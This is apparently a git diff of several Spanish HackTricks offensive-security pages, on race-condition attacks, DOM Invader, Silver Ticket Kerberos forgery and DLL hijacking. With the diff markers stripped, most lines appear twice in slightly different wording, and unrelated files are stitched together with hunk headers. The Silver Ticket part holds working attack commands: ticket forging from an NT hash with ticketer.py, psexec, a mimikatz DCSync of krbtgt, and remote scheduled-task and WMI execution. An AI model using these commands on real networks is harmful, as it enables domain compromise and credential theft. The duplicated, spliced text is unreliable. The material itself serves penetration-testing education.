En este punto, es hora de lanzar algunos ataques de RC sobre los puntos finales interesantes potenciales para tratar de encontrar resultados inesperados en comparación con los regulares. Cualquier desviación de la respuesta esperada, como un cambio en una o más respuestas, o un efecto de segundo orden como diferentes contenidos de correo electrónico o un cambio visible en su sesión, podría ser una pista que indique que algo está mal.
3. **Demostrar el concepto**
3. **Probar el concepto**
El último paso es **demostrar el concepto y convertirlo en un ataque viable**.
El último paso es probar el concepto y convertirlo en un ataque viable.
Cuando envíes un lote de solicitudes, es posible que descubras que un par de solicitudes tempranas desencadena un estado final vulnerable, pero las solicitudes posteriores lo sobrescriben/invalidan y el estado final no se puede explotar. En este escenario, querrás eliminar todas las solicitudes innecesarias; dos deberían ser suficientes para explotar la mayoría de las vulnerabilidades. Sin embargo, reducir a dos solicitudes hará que el ataque sea más sensible al tiempo, por lo que es posible que debas intentar el ataque varias veces o automatizarlo.
Cuando envíe un lote de solicitudes, es posible que descubra que un par de solicitudes tempranas desencadena un estado final vulnerable, pero las solicitudes posteriores lo sobrescriben/invalidan y el estado final no se puede explotar. En este escenario, querrá eliminar todas las solicitudes innecesarias: dos deberían ser suficientes para explotar la mayoría de las vulnerabilidades. Sin embargo, reducir a dos solicitudes hará que el ataque sea más sensible al tiempo, por lo que es posible que deba intentar el ataque varias veces o automatizarlo.
## Estudios de casos de subestados ocultos
### Ataques sensibles al tiempo
A veces, es posible que no encuentre condiciones de carrera, pero las técnicas para entregar solicitudes con un tiempo preciso aún pueden revelar la presencia de otras vulnerabilidades.
Un ejemplo de esto es cuando se utilizan marcas de tiempo de alta resolución en lugar de cadenas aleatorias seguras criptográficamente para generar tokens de seguridad.
Considere un token de restablecimiento de contraseña que solo se aleatoriza utilizando una marca de tiempo. En este caso, podría ser posible desencadenar dos restablecimientos de contraseña para dos usuarios diferentes, que ambos usan el mismo token. Todo lo que necesita hacer es sincronizar las solicitudes para que generen la misma marca de tiempo.
{% hint style="warning" %}
Para confirmar, por ejemplo, la situación anterior, simplemente podría solicitar **2 tokens de restablecimiento de contraseña al mismo tiempo** (usando un ataque de paquete único) y verificar si son **iguales**.
{% endhint %}
Consulte el [ejemplo en este laboratorio](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities).
## Estudios de caso de subestados ocultos
### Pagar y agregar un artículo
[**Consulta este laboratorio**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver cómo **pagar** en una tienda y **agregar un artículo adicional** por el que **no tendrás que pagar**.
[Consulte este laboratorio](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver cómo **pagar** en una tienda y **agregar un artículo adicional** que no necesitará pagar.
### Confirmar otros correos electrónicos
La idea es **verificar una dirección de correo electrónico y cambiarla al mismo tiempo** para averiguar si la plataforma verifica la nueva dirección cambiada.
La idea es **verificar una dirección de correo electrónico y cambiarla a otra al mismo tiempo** para averiguar si la plataforma verifica la nueva dirección cambiada.
### Cambiar el correo electrónico a 2 direcciones de correo electrónico
### Cambiar el correo electrónico a 2 direcciones de correo electrónico basadas en cookies
Según [**este informe**](https://portswigger.net/research/smashing-the-state-machine), Gitlab era vulnerable a un secuestro de esta manera porque podría **enviar el token de verificación de correo electrónico de un correo electrónico al otro correo electrónico**.
Según [este informe](https://portswigger.net/research/smashing-the-state-machine), Gitlab era vulnerable a un secuestro de esta manera porque podría **enviar el token de verificación de correo electrónico de un correo electrónico al otro correo electrónico**.
También puede consultar [este laboratorio](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) para obtener más información al respecto.
### Estados ocultos de la base de datos / Bypass de confirmación
Si se utilizan **2 escrituras diferentes** para **agregar información** dentro de una **base de datos**, hay un pequeño período de tiempo en el que solo se ha escrito el primer dato dentro de la base de datos. Por ejemplo, al crear un usuario, el **nombre de usuario** y la **contraseña** podrían ser **escritos** y luego se escribe el token para confirmar la cuenta recién creada. Esto significa que durante un breve tiempo, el **token para confirmar una cuenta es nulo**.
Por lo tanto, **registrarse en una cuenta y enviar varias solicitudes con un token vacío** (`token=` o `token[]=` o cualquier otra variación) para confirmar la cuenta de inmediato podría permitir confirmar una cuenta donde no controla el correo electrónico.
Consulte [este laboratorio](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) para ver un ejemplo.
### Bypass de 2FA
El siguiente pseudocódigo demuestra cómo un sitio web podría ser vulnerable a una variación de carrera de este ataque:
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
Como puedes ver, esto es en realidad una **secuencia de múltiples pasos dentro de una sola solicitud**. Lo más importante es que pasa por un subestado en el que el **usuario tiene temporalmente una sesión válida iniciada**, pero aún no se está aplicando la autenticación multifactor (MFA). Un atacante podría potencialmente explotar esto enviando una solicitud de inicio de sesión junto con una solicitud a un punto final sensible y autenticado.
### Persistencia eterna de OAuth2
Existen varios [**proveedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Estos servicios te permitirán crear una aplicación y autenticar a los usuarios que el proveedor ha registrado. Para hacerlo, el **cliente** deberá **permitir que tu aplicación** acceda a algunos de sus datos dentro del **proveedor de OAuth**.\
Entonces, hasta aquí solo un inicio de sesión común con Google/LinkedIn/GitHub... donde se te muestra una página que dice: "_La aplicación \<InsertCoolName> quiere acceder a tu información, ¿quieres permitirlo?_"
Hasta aquí, solo es un inicio de sesión común con Google/LinkedIn/GitHub... donde se te muestra una página que dice: "_La aplicación \<InsertCoolName> quiere acceder a tu información, ¿quieres permitirlo?_"
#### Condición de carrera en `authorization_code`
El **problema** aparece cuando **lo aceptas** y automáticamente envía un **`authorization_code`** a la aplicación maliciosa. Luego, esta **aplicación abusa de una condición de carrera en el proveedor de servicios de OAuth para generar más de un AT/RT** (_Authentication Token/Refresh Token_) a partir del **`authorization_code`** para tu cuenta. Básicamente, abusará del hecho de que has aceptado que la aplicación acceda a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, se eliminará un par de AT/RT, pero los demás seguirán siendo válidos**.
El **problema** aparece cuando **lo aceptas** y automáticamente envía un **`authorization_code`** a la aplicación maliciosa. Luego, esta aplicación **abusa de una condición de carrera en el proveedor de servicios de OAuth** para generar más de un AT/RT (Token de Autenticación/Token de Actualización) a partir del **`authorization_code`** para tu cuenta. Básicamente, aprovechará el hecho de que has aceptado que la aplicación acceda a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, se eliminará un par de AT/RT, pero los demás seguirán siendo válidos**.
#### Condición de carrera en `Refresh Token`
Una vez que hayas **obtenido un RT válido**, podrías intentar **abusar de él para generar varios AT/RT** e incluso si el usuario cancela los permisos para que la aplicación maliciosa acceda a sus datos, **varios RT seguirán siendo válidos**.
Una vez que hayas **obtenido un RT válido**, podrías intentar **abusar de él para generar varios AT/RT**, e incluso si el usuario cancela los permisos para que la aplicación maliciosa acceda a sus datos, **varios RT seguirán siendo válidos**.
## Referencias
@ -217,23 +324,24 @@ Una vez que hayas **obtenido un RT válido**, podrías intentar **abusar de él
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** impulsados por las herramientas comunitarias más avanzadas del mundo.\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar fácilmente flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View File

@ -27,11 +27,11 @@ DOM Invader integra una pestaña dentro del panel de herramientas de desarrollo
En el navegador incorporado de Burp, ve a la **extensión de Burp** y habilítala:
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (4) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
Ahora actualiza la página y en las **Herramientas de desarrollo** encontrarás la pestaña **DOM Invader:**
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Inyectar un canario
@ -57,7 +57,7 @@ Puedes hacer clic en cada mensaje para ver información más detallada al respec
* **`origin`**: Si la **información de origen del mensaje no se verifica**, es posible que puedas enviar mensajes entre dominios al controlador de eventos **desde un dominio externo arbitrario**. Pero si se verifica, aún podría ser inseguro.
* **`data`**: Aquí es donde se envía la carga útil. Si estos datos no se utilizan, el sumidero es inútil.
* **`source`**: Evalúa si la propiedad de origen, que generalmente hace referencia a un iframe, se valida en lugar del origen. Incluso si esto se verifica, no asegura que la validación no pueda ser eludida.
* **`source`**: Evalúa si la propiedad de origen, que generalmente hace referencia a un iframe, se valida en lugar del origen. Incluso si esto se verifica, no asegura que la validación no se pueda eludir.
#### Responder a un mensaje
@ -69,7 +69,7 @@ Puedes hacer clic en cada mensaje para ver información más detallada al respec
DOM Invader también puede buscar **vulnerabilidades de contaminación de prototipos**. Primero, debes habilitarlo:
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
Luego, buscará **fuentes** que te permitan agregar propiedades arbitrarias al **`Object.prototype`**.

View File

@ -1,13 +1,35 @@
## Silver Ticket
# Silver Ticket
El ataque de Silver Ticket se basa en **crear un TGS válido para un servicio una vez que se posee el hash NTLM del servicio** (como el hash de la **cuenta de PC**). Por lo tanto, es posible **acceder a ese servicio** falsificando un TGS personalizado **como cualquier usuario**.
<details>
En este caso, se **posee el hash NTLM de una cuenta de computadora** (que es una especie de cuenta de usuario en AD). Por lo tanto, es posible **crear** un **ticket** para **entrar en esa máquina** con privilegios de **administrador** a través del servicio SMB. Las cuentas de computadora restablecen sus contraseñas cada 30 días de forma predeterminada.
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
También debe tenerse en cuenta que es posible y **preferible** (opsec) **falsificar tickets utilizando las claves Kerberos AES (AES128 y AES256)**. Para saber cómo generar una clave AES, lea: [sección 4.4 de MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) o el [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## Silver ticket
El ataque de Silver ticket se basa en **crear un TGS válido para un servicio una vez que se posee el hash NTLM del servicio** (como el hash de la **cuenta de PC**). Por lo tanto, es posible **obtener acceso a ese servicio** falsificando un TGS personalizado **como cualquier usuario**.
En este caso, se **posee el hash NTLM de una cuenta de computadora** (que es una especie de cuenta de usuario en AD). Por lo tanto, es posible **crear** un **ticket** para **ingresar a esa máquina** con privilegios de **administrador** a través del servicio SMB. Las cuentas de computadora restablecen sus contraseñas cada 30 días de forma predeterminada.
También se debe tener en cuenta que es posible y **preferible** (opsec) **falsificar tickets utilizando las claves AES Kerberos (AES128 y AES256)**. Para saber cómo generar una clave AES, lee: [sección 4.4 de MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) o el [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).
{% code title="Linux" %}
```bash
python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
```
{% endcode %}
@ -29,38 +51,38 @@ kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291
```
{% endcode %}
El servicio **CIFS** es el que te permite **acceder al sistema de archivos de la víctima**. Puedes encontrar otros servicios aquí: [**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**.** Por ejemplo, puedes usar el servicio **HOST** para crear una tarea programada (_**schtask**_) en un equipo. Luego puedes comprobar si ha funcionado intentando listar las tareas de la víctima: `schtasks /S <hostname>` o puedes usar los servicios **HOST y RPCSS** para ejecutar consultas **WMI** en un equipo, pruébalo haciendo: `Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
El servicio **CIFS** es el que te permite **acceder al sistema de archivos de la víctima**. Puedes encontrar otros servicios aquí: [**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**.** Por ejemplo, puedes usar el servicio **HOST** para crear una _**schtask**_ en una computadora. Luego puedes verificar si esto ha funcionado intentando listar las tareas de la víctima: `schtasks /S <nombre de host>` o puedes usar los servicios **HOST y** **RPCSS** para ejecutar consultas **WMI** en una computadora, pruébalo haciendo: `Get-WmiObject -Class win32_operatingsystem -ComputerName <nombre de host>`
### Mitigación
Eventos ID de Silver ticket (más sigilosos que los Golden ticket):
Eventos de tickets de plata (más sigilosos que los tickets de oro):
* 4624: Inicio de sesión de cuenta
* 4634: Cierre de sesión de cuenta
* 4672: Inicio de sesión de administrador
[**Más información sobre Silver Tickets en ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
[**Más información sobre los tickets de plata en ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
## Servicios Disponibles
## Servicios disponibles
| Tipo de Servicio | Silver Tickets de Servicio |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Dependiendo del SO también:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>En algunas ocasiones puedes pedir solo: WINRM</p> |
| Tareas Programadas | HOST |
| Compartición de Archivos de Windows, también psexec | CIFS |
| Operaciones LDAP, incluido DCSync | LDAP |
| Herramientas de Administración Remota de Servidores de Windows | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Golden Tickets | krbtgt |
| Tipo de servicio | Tickets de plata del servicio |
| ----------------------------------------- | ------------------------------------------------------------------------ |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Dependiendo del sistema operativo también:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>En algunas ocasiones puedes simplemente solicitar: WINRM</p> |
| Tareas programadas | HOST |
| Compartir archivos de Windows, también psexec | CIFS |
| Operaciones LDAP, incluido DCSync | LDAP |
| Herramientas de administración remota de servidores de Windows | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Tickets de oro | krbtgt |
Usando **Rubeus** puedes **pedir todos** estos tickets usando el parámetro:
Usando **Rubeus**, puedes **solicitar todos** estos tickets utilizando el parámetro:
* `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
## Abusando de los tickets de servicio
## Abuso de tickets de servicio
En los siguientes ejemplos imaginemos que el ticket se obtiene suplantando la cuenta de administrador.
En los siguientes ejemplos, imaginemos que el ticket se obtiene suplantando la cuenta de administrador.
### CIFS
@ -70,7 +92,7 @@ dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
También podrás obtener una shell dentro del host o ejecutar comandos arbitrarios usando **psexec**:
También podrás obtener una shell dentro del host o ejecutar comandos arbitrarios utilizando **psexec**:
{% content-ref url="../ntlm/psexec-and-winexec.md" %}
[psexec-and-winexec.md](../ntlm/psexec-and-winexec.md)
@ -78,7 +100,7 @@ También podrás obtener una shell dentro del host o ejecutar comandos arbitrari
### HOST
Con este permiso puedes generar tareas programadas en computadoras remotas y ejecutar comandos arbitrarios:
Con este permiso podrás generar tareas programadas en computadoras remotas y ejecutar comandos arbitrarios:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -102,7 +124,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
#You can also use wmic
wmic remote.computer.local list full /format:list
```
Encuentra **más información sobre wmiexec** en la siguiente página:
Encuentra más información sobre wmiexec en la siguiente página:
{% content-ref url="../ntlm/wmicexec.md" %}
[wmicexec.md](../ntlm/wmicexec.md)
@ -114,7 +136,7 @@ Con acceso winrm a una computadora, puedes **acceder a ella** e incluso obtener
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
Revisa la siguiente página para aprender **más formas de conectarte con un host remoto usando winrm**:
Consulta la siguiente página para aprender **más formas de conectarse a un host remoto utilizando winrm**:
{% content-ref url="../ntlm/winrm.md" %}
[winrm.md](../ntlm/winrm.md)
@ -126,19 +148,19 @@ Ten en cuenta que **winrm debe estar activo y escuchando** en la computadora rem
### LDAP
Con este privilegio puedes volcar la base de datos de DC usando **DCSync**:
Con este privilegio puedes volcar la base de datos del controlador de dominio utilizando **DCSync**:
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
Aprende más sobre **DCSync** en la siguiente página:
**Aprende más sobre DCSync** en la siguiente página:
{% content-ref url="dcsync.md" %}
[dcsync.md](dcsync.md)
{% endcontent-ref %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto hablado como escrito_).
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -148,8 +170,8 @@ Si estás interesado en una **carrera de hacking** y en hackear lo imposible -
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -5,48 +5,109 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## Definición
En primer lugar, aclaremos la definición. El secuestro de DLL es, en el sentido más amplio, **engañar a una aplicación legítima/confiable para que cargue una DLL arbitraria**. Términos como _DLL Search Order Hijacking_, _DLL Load Order Hijacking_, _DLL Spoofing_, _DLL Injection_ y _DLL Side-Loading_ a menudo se usan -equivocadamente- para decir lo mismo.
En primer lugar, vamos a definir el concepto. El secuestro de DLL es, en el sentido más amplio, **engañar a una aplicación legítima/confiable para que cargue una DLL arbitraria**. Términos como _Secuestro del Orden de Búsqueda de DLL_, _Secuestro del Orden de Carga de DLL_, _Suplantación de DLL_, _Inyección de DLL_ y _Carga Lateral de DLL_ se utilizan a menudo -erróneamente- para referirse a lo mismo.
El secuestro de DLL se puede utilizar para **ejecutar** código, obtener **persistencia** y **escalar privilegios**. De estos 3, el **menos probable** de encontrar es la **escalada de privilegios** con mucho. Sin embargo, como esto es parte de la sección de escalada de privilegios, me centraré en esta opción. Además, tenga en cuenta que, independientemente del objetivo, un secuestro de DLL se realiza de la misma manera.
El secuestro de DLL se puede utilizar para **ejecutar** código, obtener **persistencia** y **elevar privilegios**. De los 3, el **menos probable** de encontrar es la **elevación de privilegios** con diferencia. Sin embargo, como esto forma parte de la sección de elevación de privilegios, me centraré en esta opción. Además, ten en cuenta que, independientemente del objetivo, el secuestro de DLL se realiza de la misma manera.
### Tipos
Hay una **variedad de enfoques** para elegir, y el éxito depende de cómo se configure la aplicación para cargar sus DLL requeridas. Los enfoques posibles incluyen:
Existen **varios enfoques** entre los que elegir, y el éxito depende de cómo esté configurada la aplicación para cargar sus DLL requeridas. Los enfoques posibles incluyen:
1. **Reemplazo de DLL**: reemplazar una DLL legítima con una DLL maliciosa. Esto se puede combinar con _DLL Proxying_ \[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)], que garantiza que toda la funcionalidad de la DLL original permanezca intacta.
2. **Secuestro del orden de búsqueda de DLL**: las DLL especificadas por una aplicación sin una ruta se buscan en ubicaciones fijas en un orden específico \[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]. El secuestro del orden de búsqueda se produce colocando la DLL maliciosa en una ubicación que se busca antes de la DLL real. Esto a veces incluye el directorio de trabajo de la aplicación objetivo.
3. **Secuestro de DLL fantasma**: dejar caer una DLL maliciosa en lugar de una DLL faltante/inexistente que una aplicación legítima intenta cargar \[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)].
1. **Reemplazo de DLL**: reemplazar una DLL legítima por una DLL maliciosa. Esto se puede combinar con _Proxying de DLL_ \[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)], que garantiza que todas las funcionalidades de la DLL original se mantengan intactas.
